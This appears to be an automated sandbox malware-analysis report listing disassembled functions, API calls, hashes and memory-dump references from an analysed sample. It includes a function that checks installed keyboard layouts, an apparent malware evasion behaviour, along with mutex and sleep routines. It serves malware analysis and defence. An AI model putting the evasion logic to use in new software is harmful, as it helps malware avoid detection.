Associated: 00000005.00000002.2297009123.0000000000A5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297040999.0000000000A5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297074464.0000000000A61000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297110804.0000000000A6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297144690.0000000000A70000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_760000_ECPOM47708SKW2N887NP33WQCGSG.jbxd

Yara matches

Similarity

API ID: ConditionVariableWake
String ID:
API String ID: 1192502693-0
Opcode ID: 9b08d5b3debb84d4f42b8d25ae27b2db69b0066c78f2e8b62625714166db6a82
Instruction ID: 52af6ea6a8af27880afcaa4b2150e8fe24f839cde087d2403e640d9fc59282a3
Opcode Fuzzy Hash: 9b08d5b3debb84d4f42b8d25ae27b2db69b0066c78f2e8b62625714166db6a82
Instruction Fuzzy Hash: 36722771A00244DBEB18DF68CD89B9D7B75EB45358F50825DF806A73C2EB3D9A80CB91

Function 0079652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0079652A,?,?,?,?,?,00797661), ref: 00796567

Memory Dump Source

Source File: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp, Offset: 00760000, based on PE: true

Associated: 00000005.00000002.2294375676.0000000000760000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294419353.00000000007C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294570330.00000000007C9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294616265.00000000007CB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294659895.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294922477.0000000000928000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294982449.000000000092A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295089986.0000000000941000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295189425.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.0000000000945000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.000000000094D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295342031.0000000000955000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295388882.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295434841.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295465475.0000000000958000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295537926.0000000000968000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295574022.0000000000969000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295637127.000000000097B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295668453.000000000097D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295722717.000000000097E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295769191.000000000097F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295817924.0000000000987000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295869755.0000000000991000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295925431.00000000009A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295996034.00000000009A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296039350.00000000009A9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296068701.00000000009AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296098655.00000000009B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296135068.00000000009B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296167571.00000000009B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296210889.00000000009B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296242416.00000000009B9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296279780.00000000009C0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296310618.00000000009C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296341537.00000000009C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296369732.00000000009CF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296397735.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296435745.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296500520.00000000009D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296548650.00000000009E0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296596787.00000000009E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296627211.00000000009E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296661578.00000000009EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296697593.00000000009FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296730490.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296762599.0000000000A0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296873207.0000000000A43000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296907625.0000000000A45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296943274.0000000000A59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296974941.0000000000A5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297009123.0000000000A5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297040999.0000000000A5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297074464.0000000000A61000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297110804.0000000000A6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297144690.0000000000A70000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_760000_ECPOM47708SKW2N887NP33WQCGSG.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 646531db2adb9bfd85b54bda0dad4a450672913d4bbf988c686e0600d564f3b8
Instruction ID: 5fdecdb15598092b9d4986cbac9cc766b6192f26267448753d0c2d1a0c7bd8a2
Opcode Fuzzy Hash: 646531db2adb9bfd85b54bda0dad4a450672913d4bbf988c686e0600d564f3b8
Instruction Fuzzy Hash: 31E08C30041108AFCF257B68E85DD483B69EB5274AF114A10F8188622ACB29EE91C681

Function 0487017C Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2299387595.0000000004870000.00000040.00001000.00020000.00000000.sdmp, Offset: 04870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4870000_ECPOM47708SKW2N887NP33WQCGSG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 794edba20a2edee81044c1063f349a618ea0a9c391a13d9d0b285189ee9b8ee9
Instruction ID: 433037abb075dc92823594c3ca3420e1263e9dcfdb2dd031e16d8080fcd5d948
Opcode Fuzzy Hash: 794edba20a2edee81044c1063f349a618ea0a9c391a13d9d0b285189ee9b8ee9
Instruction Fuzzy Hash: 952190EB21C11DBD714288826B349FB6B2EE5D37783328A26F907C5102F2959E8E7035

Function 00765C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434COMMON

Download Yara Rule

Strings

00000423, xrefs: 007660FA
00000419, xrefs: 00766098
0000043f, xrefs: 0076612B
00000422, xrefs: 007660C9
Keyboard Layout\Preload, xrefs: 00766054

Memory Dump Source

Source File: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp, Offset: 00760000, based on PE: true

Associated: 00000005.00000002.2294375676.0000000000760000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294419353.00000000007C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294570330.00000000007C9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294616265.00000000007CB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294659895.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294922477.0000000000928000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294982449.000000000092A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295089986.0000000000941000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295189425.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.0000000000945000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.000000000094D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295342031.0000000000955000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295388882.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295434841.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295465475.0000000000958000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295537926.0000000000968000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295574022.0000000000969000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295637127.000000000097B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295668453.000000000097D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295722717.000000000097E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295769191.000000000097F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295817924.0000000000987000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295869755.0000000000991000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295925431.00000000009A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295996034.00000000009A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296039350.00000000009A9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296068701.00000000009AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296098655.00000000009B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296135068.00000000009B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296167571.00000000009B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296210889.00000000009B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296242416.00000000009B9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296279780.00000000009C0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296310618.00000000009C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296341537.00000000009C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296369732.00000000009CF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296397735.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296435745.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296500520.00000000009D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296548650.00000000009E0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296596787.00000000009E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296627211.00000000009E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296661578.00000000009EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296697593.00000000009FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296730490.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296762599.0000000000A0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296873207.0000000000A43000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296907625.0000000000A45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296943274.0000000000A59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296974941.0000000000A5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297009123.0000000000A5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297040999.0000000000A5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297074464.0000000000A61000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297110804.0000000000A6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297144690.0000000000A70000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_760000_ECPOM47708SKW2N887NP33WQCGSG.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: afc25fc08c8e789267b4e8fd5049788e7801c8dbf356a19b6e81408b70b288ec
Instruction ID: 75074622dc0bce433c4de7c69235741e531b0b0af8a5f094ec65caad4f52234c
Opcode Fuzzy Hash: afc25fc08c8e789267b4e8fd5049788e7801c8dbf356a19b6e81408b70b288ec
Instruction Fuzzy Hash: E3F1E470900248DBEF24DF54CC85BDEBBB9EF45304F504699F909A7282DB78AA84CF95

Function 00769BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0076A963
CreateMutexA.KERNEL32(00000000,00000000,007C3254), ref: 0076A981

Strings

T2|, xrefs: 0076A970

Memory Dump Source

Source File: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp, Offset: 00760000, based on PE: true

Associated: 00000005.00000002.2294375676.0000000000760000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294419353.00000000007C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294570330.00000000007C9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294616265.00000000007CB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294659895.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294922477.0000000000928000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294982449.000000000092A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295089986.0000000000941000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295189425.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.0000000000945000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.000000000094D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295342031.0000000000955000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295388882.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295434841.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295465475.0000000000958000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295537926.0000000000968000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295574022.0000000000969000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295637127.000000000097B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295668453.000000000097D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295722717.000000000097E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295769191.000000000097F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295817924.0000000000987000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295869755.0000000000991000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295925431.00000000009A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295996034.00000000009A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296039350.00000000009A9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296068701.00000000009AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296098655.00000000009B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296135068.00000000009B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296167571.00000000009B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296210889.00000000009B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296242416.00000000009B9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296279780.00000000009C0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296310618.00000000009C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296341537.00000000009C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296369732.00000000009CF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296397735.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296435745.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296500520.00000000009D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296548650.00000000009E0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296596787.00000000009E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296627211.00000000009E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296661578.00000000009EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296697593.00000000009FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296730490.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296762599.0000000000A0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296873207.0000000000A43000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296907625.0000000000A45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296943274.0000000000A59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296974941.0000000000A5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297009123.0000000000A5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297040999.0000000000A5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297074464.0000000000A61000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297110804.0000000000A6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297144690.0000000000A70000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_760000_ECPOM47708SKW2N887NP33WQCGSG.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2|
API String ID: 1464230837-540489240
Opcode ID: 877d29eeb793cca41dd45dd06174a8df45baf3ca50045c6c5e0798c3564656d3
Instruction ID: 0d1b5c3f4b8c4b19e5e3bd5ede6229dc2730a885cd1a80e02091f2d545ee3ae5
Opcode Fuzzy Hash: 877d29eeb793cca41dd45dd06174a8df45baf3ca50045c6c5e0798c3564656d3
Instruction Fuzzy Hash: E53148716002009BEB089B78DD89B5DB7B6EF82314F208719E915E72D6D77D69808762

Function 00769F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0076A963
CreateMutexA.KERNEL32(00000000,00000000,007C3254), ref: 0076A981

Strings

T2|, xrefs: 0076A970

Memory Dump Source

Source File: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp, Offset: 00760000, based on PE: true

Associated: 00000005.00000002.2294375676.0000000000760000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294419353.00000000007C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294570330.00000000007C9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294616265.00000000007CB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294659895.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294922477.0000000000928000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294982449.000000000092A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295089986.0000000000941000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295189425.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.0000000000945000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.000000000094D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295342031.0000000000955000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295388882.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295434841.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295465475.0000000000958000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295537926.0000000000968000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295574022.0000000000969000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295637127.000000000097B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295668453.000000000097D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295722717.000000000097E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295769191.000000000097F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295817924.0000000000987000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295869755.0000000000991000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295925431.00000000009A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295996034.00000000009A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296039350.00000000009A9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296068701.00000000009AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296098655.00000000009B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296135068.00000000009B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296167571.00000000009B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296210889.00000000009B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296242416.00000000009B9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296279780.00000000009C0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296310618.00000000009C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296341537.00000000009C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296369732.00000000009CF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296397735.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296435745.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296500520.00000000009D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296548650.00000000009E0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296596787.00000000009E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296627211.00000000009E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296661578.00000000009EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296697593.00000000009FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296730490.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296762599.0000000000A0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296873207.0000000000A43000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296907625.0000000000A45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296943274.0000000000A59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296974941.0000000000A5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297009123.0000000000A5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297040999.0000000000A5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297074464.0000000000A61000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297110804.0000000000A6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297144690.0000000000A70000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_760000_ECPOM47708SKW2N887NP33WQCGSG.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2|
API String ID: 1464230837-540489240
Opcode ID: d8465d16204876f433a6874de9bdeec80d07001bfe7546aaac79e9b013464e56
Instruction ID: 7b91d0c00305399e776c6ce1a14b1477f67663f4a3e40be61672b2323df53d26
Opcode Fuzzy Hash: d8465d16204876f433a6874de9bdeec80d07001bfe7546aaac79e9b013464e56
Instruction Fuzzy Hash: 2F316A31610200ABEF189B78DC88BACB776EF86310F208719E915E72D6D77E59808B12

Function 0076A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0076A963
CreateMutexA.KERNEL32(00000000,00000000,007C3254), ref: 0076A981

Strings

T2|, xrefs: 0076A970

Memory Dump Source

